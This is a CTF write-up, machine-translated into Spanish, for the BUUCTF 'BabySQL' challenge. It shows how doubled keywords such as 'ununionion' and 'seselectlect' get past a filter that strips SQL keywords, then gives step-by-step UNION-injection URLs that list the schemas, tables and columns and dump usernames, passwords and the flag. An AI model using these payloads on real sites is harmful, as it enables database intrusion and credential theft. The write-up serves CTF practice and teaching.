[BUUCTF] [Geek Challenge 2019] BabySQL-Writeup con un resumen claro y fácil de entender

Sitio de prueba 0x00

Bypass de escritura doble de inyección SQL

reemplazar función, buscar unión y seleccionar, etc. para ser reemplazado con vacío

Escritura doble que debe omitirse, dividida en el medio de la palabra, dividida por la mitad y ocultar una completa en su interior:

union 
ununionion

select
seselectlect

from
frfromom

where
whwhereere

information
infoorrmation
(过滤了or)

order
oorrder
(过滤了or)

by
bbyy

Codificación de URL común

%20
空格

%23
#

%27
'

0x01 resolución de problemas

?username=admin&password=pwd %27 or 1=1 %23

Tiene un error en su sintaxis SQL; consulte el manual que corresponde a la versión de su servidor MariaDB para conocer la sintaxis correcta para usar cerca de '1 = 1' en la línea 1

No o, solo 1 = 1, o está filtrado

?username=admin&password=pwd %27 oorr 1=1 %23

Hola administrador!
Su contraseña es '09e6f2bc1ee446ef66b91bf09f58d0d4'

por también se filtra

?username=admin&password=pwd %27 oorrder bbyy 3 %23

NO, contraseña de nombre de usuario incorrecta !!!

?username=admin&password=pwd %27 oorrder bbyy 4 %23

Columna desconocida '4' en 'cláusula de orden'

Hay tres campos

?username=admin&password=pwd ' union select 1 #

Tiene un error en su sintaxis SQL; consulte el manual que corresponde a la versión de su servidor MariaDB para conocer la sintaxis correcta para usar cerca de '1' en la línea 1

Solo se habló de 1 #, lo que indica que se detectaron unión y selección

Bypass con doble escritura

?username=admin&password=pwd ' ununionion seselectlect 1 #

Tiene un error en su sintaxis SQL; consulte el manual que corresponde a la versión de su servidor MariaDB para conocer la sintaxis correcta para usar cerca de '' 'en la línea 1

No importa la barra de herramientas o el cuadro de URL #在这里必须用URL编码成%23, de lo contrario, no funcionará.
(No lo entiendo muy bien, solía estar en el recuadro de URL # ¿también está bien ???)

?username=admin&password=pwd %27 ununionion seselectlect 1 %23

Las sentencias SELECT utilizadas tienen un número diferente de columnas

Número incorrecto de columnas

?username=admin&password=pwd %27 ununionion seselectlect 1,2,3 %23

Hola 2!
Tu contraseña es '3'

?username=admin&password=pwd %27 ununionion seselectlect 1,2,version() %23

Hola 2!

Su contraseña es '10 .3.18-MariaDB '

?username=admin&password=pwd %27 ununionion seselectlect 1,2,database() %23

Hola 2!
Tu contraseña es 'geek'

Biblioteca de ráfagas

?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

Hola 2!
Tu contraseña es
'information_schema, mysql, performance_schema, test, ctf, geek'

Mesa de ráfagas

?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(table_name)from(information_schema.tables)whwhereere table_schema="geek" %23

Tiene un error en su sintaxis SQL; consulte el manual que corresponde a la versión de su servidor MariaDB para conocer la sintaxis correcta para usar cerca de '(infinfmationmation_schema.tables) donde table_schema = “geek” #' 'en la línea 1

la información se filtra o

?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="geek" %23

Hola 2!

Su contraseña es 'b4bsql, geekuser'

?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23

Hola 2!
Tu contraseña es 'Bandera'

Estallar

?username=admin&password=pwd %27 ununionion seselectlect 1,2,
group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere 
 table_name="Flag"%23

Hola 2!
Tu contraseña es 'bandera'

Verifique la columna de banderas de la tabla de banderas de la biblioteca ctf

?username=admin&password=pwd %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23

Hola 2!
Tu contraseña es 'flag {d3a1f578-e00b-47d4-96b4-9535be15f9de}'

otro

Mesa de ráfagas

?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoorrmation_schema.columns whwhereere table_schema = 'geek' %23

Hola 2!
Tu contraseña es 'b4bsql, b4bsql, b4bsql, geekuser, geekuser, geekuser'

?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(distinct table_name) frfromom infoorrmation_schema.columns whwhereere table_schema = 'geek' %23

Hola 2!
Tu contraseña es 'b4bsql, geekuser'

Estallar

?username=admin&password=pwd  ' ununionion seselectlect 1,2,group_concat(distinct column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'b4bsql'%23

Hola 2!
Su contraseña es 'id, nombre de usuario, contraseña'

?username=admin&password=pwd  ' ununionion seselectlect 1,2,group_concat(distinct column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'b4bsql'%23

Hola 2!
Su contraseña es 'id, nombre de usuario, contraseña'

?username=1&password=pwd' uniunionon selselectect 1,username,passwoorrd frfromom b4bsql %23

Hola cl4y!
Tu contraseña es 'i_want_to_play_2077'

?username=admin&password=pwd ' ununionion seselectlect 1,2,group_concat(id,0x3a,username,0x3a,passwoorrd) frofromm b4bsql %23

Hola 2!
Su contraseña es
'1: cl4y: i_want_to_play_2077,2: sql: sql_injection_is_so_fun, 3: porn: do_you_know_pornhub, 4: git: github_is_different_from_pornhub, 5: Stop: you_found_flag_, 6_toldstop, : flag: flag {d3a1f578-e00b-47d4-96b4-9535be15f9de} '

Supongo que te gusta

Origin blog.csdn.net/vanarrow/article/details/108226003
Recomendado
Clasificación